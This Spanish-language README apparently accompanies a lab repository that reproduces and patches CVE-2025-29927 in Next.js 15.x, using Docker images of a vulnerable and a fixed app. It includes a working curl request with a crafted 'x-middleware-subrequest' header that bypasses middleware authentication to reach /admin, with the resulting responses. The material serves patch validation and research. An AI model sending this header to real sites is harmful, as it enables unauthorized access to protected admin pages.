
Reproducción y corrección de la vulnerabilidad CVE-2025-29927.
Reproducción y corrección de la vulnerabilidad CVE-2025-29927.
git clone [email protected]:Bongni/CVE-2025-29927.git
cd CVE-2025-29927
En vulnerable/ hay una versión de la aplicación que es vulnerable al ataque. En fixed/ hay una versión de la aplicación que está actualizada a la versión mínima que corrige la vulnerabilidad.
⚠️ Importante: Estos ejemplos se proporcionan para defensores, investigadores y equipos que validan parches. No ejecutes estas imágenes en redes públicas o de producción. Solo prueba en sistemas que poseas o donde tengas permiso explícito por escrito.
Reproducción de la vulnerabilidad CVE-2025-29927.
cd vulnerable/
docker build -t next-app-vuln .
docker run -p 3000:3000 next-app-vuln
Ejecuta este comando, que debería redirigir a la página de inicio de sesión
curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
Luego ejecuta este comando, que debería poder acceder a la página de administración
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
HTTP/1.1 200 OK
X-Powered-By: Next.js
ETag: "nr3m78x84avh"
Content-Type: text/html; charset=utf-8
Content-Length: 1133
Vary: Accept-Encoding
Date: Wed, 08 Oct 2025 22:54:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5
...
Corrección de la vulnerabilidad CVE-2025-29927.
cd fixed/
docker build -t next-app-fixed .
docker run -p 3000:3000 next-app-fixed
Ejecuta este comando, que debería redirigir a la página de inicio de sesión
curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
Luego ejecuta este comando, que ahora también debería ser redirigido a la página de inicio de sesión
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
Este repositorio está basado en l1uk/nextjs-middleware-exploit, pero adaptado para la versión 15.x de Next.js.